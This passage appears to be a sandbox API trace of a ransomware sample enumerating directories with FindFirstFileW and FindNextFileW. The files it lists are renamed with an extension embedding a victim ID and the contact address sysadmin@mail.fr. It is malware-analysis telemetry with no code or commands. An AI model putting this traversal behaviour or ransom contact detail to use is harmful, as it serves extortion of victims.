	[0178.938] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0fa8
	[0178.939] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.939] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99715aa1, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99715aa1, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99951da5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.939] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99715aa1, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99715aa1, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99a8302f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.939] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98cf3930, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98cf3930, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.940] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98cf3930, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98cf3930, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.940] FindClose (in: hFindFile=0x3cf0fa8 | out: hFindFile=0x3cf0fa8) returned 1
	[0178.941] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.941] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1053", cAlternateFileName="")) returned 1
	[0178.941] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.941] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0ee8
	[0178.942] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.942] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99715aa1, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99715aa1, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99977f1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.942] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9973bbef, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9973bbef, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99a36c4e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.943] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98c5b07b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98c5b07b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ca7488, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.943] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98c5b07b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98c5b07b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ca7488, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.943] FindClose (in: hFindFile=0x3cf0ee8 | out: hFindFile=0x3cf0ee8) returned 1
	[0178.944] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.944] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1055", cAlternateFileName="")) returned 1
	[0178.944] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.944] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0b28
	[0179.104] FindNextFileW (in: hFindFile=0x3cf0b28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0179.104] FindNextFileW (in: hFindFile=0x3cf0b28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99951da5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99951da5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99dd0129, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0179.105] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.105] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="2052", cAlternateFileName="")) returned 1
	[0179.107] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.107] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="2070", cAlternateFileName="")) returned 1
	[0179.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.109] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="3076", cAlternateFileName="")) returned 1
	[0179.110] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.110] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="3082", cAlternateFileName="")) returned 1
	[0179.113] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.113] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="Client", cAlternateFileName="")) returned 1
	[0179.114] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.114] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99fe0595, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="DHtmlHeader.html.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DHTMLH~1.YG")) returned 1
	[0179.116] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.116] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0179.118] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.118] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a02c966, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a02c966, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a3e6a62, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="header.bmp.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="HEADER~1.YG")) returned 1
	[0179.119] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0179.119] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0179.120] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.120] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0179.120] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.121] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0179.121] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.121] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0179.121] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.121] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0179.121] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.121] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0179.122] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.122] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="en-US", cAlternateFileName="")) returned 1
	[0179.122] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.122] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0179.122] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.122] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0179.122] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.122] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0179.123] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.123] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0179.123] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.123] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0179.285] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.285] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0179.285] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.285] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0179.286] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
